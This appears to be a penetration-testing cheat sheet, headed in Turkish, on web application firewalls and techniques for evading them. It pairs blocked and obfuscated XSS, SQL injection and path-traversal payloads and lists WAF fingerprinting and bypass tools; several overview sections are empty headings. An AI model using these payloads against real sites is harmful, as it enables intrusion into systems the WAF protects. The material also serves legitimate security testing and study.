WAF
{Web Application Firewall}
İçindekiler:
➢ WAF nedir ve nasıl çalışır?
➢ Türleri
➢ WAF'ın Avantajları
➢ WAF Tedarikçileri
➢ WAF - Güvenlik Duvarı ve IPS Karşılaştırması
➢ WAF Azaltma
➢ WAF'ı Atlatma Teknikleri
➢ Harika Araçlar
WAF Nedir?
Nasıl Çalışır?
Türler:
WAF'ın Avantajları:
Önem:
WAF Satıcıları:
WAF ve Güvenlik Duvarı ve IPS:
WAF Azaltma:
WAF'ı Atlatma Teknikleri:
➢ Case Toggling Technique
Combine upper and lower case
characters for creating efficient payloads.
<ScrIpT>confirm()</sCRiPt>
➢ Using Comments Technique
Comments obfuscate standard
payload vectors.
Different payloads have different
ways of obfuscation.
<!--><script>confirm/**/()/**/</script>
sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
➢ Null Character Injection
Inject %00 in parameter before
malicious input. WAFs will commonly ignore everything after the null but pass
the entire string to web server where it is processed.
➢ Mixed Case
Change case of malicious input
triggering WAF protections. <script> may become <sCRiPt> If the WAF
is using a case sensitive blacklist, changing case may bypass that filter.
➢ Inline Comments
Insert comments in middle of
attack strings. For instance, /*!SELECT*/ might be overlooked by the WAF but
passed on to the target application and processed by a mysql database.
Blocked:
<script>alert()</script>
Bypassed:
<!--><script>alert/**/()/**/</script>
Blocked:
/?id=1+union+select+1,2,3--
Bypassed:
/?id=1+un/**/ion+sel/**/ect+1,2,3--
➢ Ephemeral Mode SSL (DHE/EDH)
Abuse perfect forward secrecy.
Since the WAF cannot subvert the key exchange, it can’t decrypt the traffic if
a DHE/EDH based session is negotiated between client and server. Testing of the
top 50 or so sites on Alexa showed roughly 50% of sites support these modes. If
SSL is terminated on the WAF however, or in the case of an embedded WAF,
traffic is decrypted for WAF inspection.
➢ Buffer Overflow
WAF’s are, afterall, applications
and vulnerable to the same software flaws as any other application. If a buffer
overflow condition can create a crash, even if it does not result in code
execution, this may result in a WAF failing open. In other words, a bypass.
➢ HTTP Parameter Pollution
Supply multiple parameter= value
sets of the same name to confuse the WAF. Given the example http://example.com?id=1&?id=’
or ‘1’=’1′ — ‘ in some circumstances such as with Apache/PHP, the application
will only parse the last (second) instance of id= while the WAF only parses the
first. It appears to be a legitimate request but the application still receives
and process malicious input. Most WAF’s today are not vulnerable to HTTP
Parameter Pollution (HPP) but it is still worth a try when building bypasses.
➢ URL encoding (hex)
Use the hex equivalent for certain
characters such as %27 for ‘ or %3c for <. This alone may not be sufficient
for many modern WAF’s but frequently works for application black-list filters
as they may not be canonicalized before evaluation. Like many other techniques
here, when combined with other methods is more effective.
Blocked:
<svG/x=">"/oNloaD=confirm()//
Bypassed:
%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
Blocked: uNIoN(sEleCT
1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed:
uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29
➢ Keyword Splitting
(Insert special characters that
will be removed by WAF) – SELECT may become SEL<ECT which would be passed on
as SELECT once the offending character is removed
➢ Replaced Keywords
Similar to Keyword Splitting by
wrapping a keyword around itself. For instance SELSELECTECT becomes SELECT once
the inner SELECT is removed.
➢ Ignoring Cookies
Ignore tracking cookies WAF sets to
flag you as a “Bad User”. This can easily be configured using a regex match in
Burp to ignore those cookies.
➢ WAF Auto-Learning
Many WAF have a threshold whereby
if they see n number of violations from different IP addresses within a
specified window, it “un-learns” that rule and effectively disables it.
➢ Using Data URIs
Offending strings can be encoded
as data URIs which are interpreted by the browser but may not be properly
normalized by the WAF. This is very useful for client side attacks like XSS
➢ Double Encoding
Often WAF filters tend to encode
characters to prevent attacks.
However poorly developed filters
(no recursion filters) can be bypassed with double encoding.
Standard:
http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscated:
http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
Standard:
<script>alert()</script>
Obfuscated:
%253Cscript%253Ealert()%253C%252Fscript%253E
➢ Line Breaks
Many WAF with regex based
filtering effectively blocks many attempts.
Line breaks (CR/LF) can break
firewall regex and bypass stuff.
Standard: <iframe
src=javascript:confirm(0)">
Obfuscated: <iframe
src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">
➢ Junk Characters
Normal payloads get filtered out
easily.
Adding some junk chars helps
avoid detection (specific cases only).
They often help in confusing
regex based firewalls.
Standard:
<script>alert()</script>
Obfuscated:
<script>+-+-1-+-+alert(1)</script>
Standard: <BODY
onload=alert()>
Obfuscated: <BODY
onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>
NOTE: The above payload can break
the regex parser to cause an exception.
Standard: <a
href=javascript;alert()>ClickMe
Bypassed: <a aa aaa aaaa aaaaa
aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa
href=javascript:alert(1)>ClickMe
Harika Araçlar:
WAFW00F
- The ultimate WAF fingerprinting tool with the largest fingerprint database
from @EnableSecurity. https://github.com/enablesecurity/wafw00f
IdentYwaf
- A blind WAF detection tool which utlises a unique method of identifying WAFs
based upon previously collected fingerprints by @stamparm. https://github.com/stamparm/identywaf
W3af
- Web Application Attack and Audit Framework https://github.com/andresriancho/w3af
BypassWAF
– Bypass firewalls by abusing DNS history. This tool will search for old DNS A
records and check if the server replies for that domain.
https://github.com/vincentcox/bypass-firewalls-by-DNS-history
CloudFail
– is a tactical reconnaissance tool that tries to find the original IP address
behind the Cloudflare WAF.
https://github.com/m0rtem/CloudFail
GoTestWAF
- A tool to test a WAF's detection logic and bypasses from @wallarm. https://github.com/wallarm/gotestwaf
Lightbulb
Framework - A WAF testing suite written in Python. https://github.com/lightbulb-framework/lightbulb-framework
WAFBench
- A WAF performance testing suite by Microsoft.
https://github.com/microsoft/wafbench
WAF Testing
Framework - A WAF testing tool by Imperva.
https://www.imperva.com/products/web-application-firewall-waf/
Framework
for Testing WAFs (FTW) - A framework by the OWASP CRS team that helps to
provide rigorous tests for WAF rules by using the OWASP Core Ruleset V3 as a
baseline.
https://github.com/coreruleset/ftw
WAFNinja
- A smart tool which fuzzes and can suggest bypasses for a given WAF by
@khalilbijjou. https://github.com/khalilbijjou/wafninja
WAFTester
- Another tool which can obfuscate payloads to bypass WAFs by @Raz0r.
https://github.com/Raz0r/waftester libinjection-fuzzer - A fuzzer intended
for finding libinjection bypasses but can be probably used universally. https://github.com/migolovanov/libinjection-fuzzer
bypass-firewalls-by-DNS-history - A
tool which searches for old DNS records for finding actual site behind the WAF.
https://github.com/vincentcox/bypass-firewalls-by-DNS-history
abuse-ssl-bypass-waf - A tool which
finds out supported SSL/TLS ciphers and helps in evading WAFs.
https://github.com/LandGrey/abuse-ssl-bypass-waf
SQLMap Tamper
Scripts - Tamper scripts in SQLMap obfuscate payloads which might evade
some WAFs.
https://github.com/sqlmapproject/sqlmap
Bypass WAF
BurpSuite Plugin - A plugin for Burp Suite which adds some request headers
so that the requests seem from the internal network.
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c
WhatWaf - detecting a firewall on a
web application https://github.com/Ekultek/WhatWaf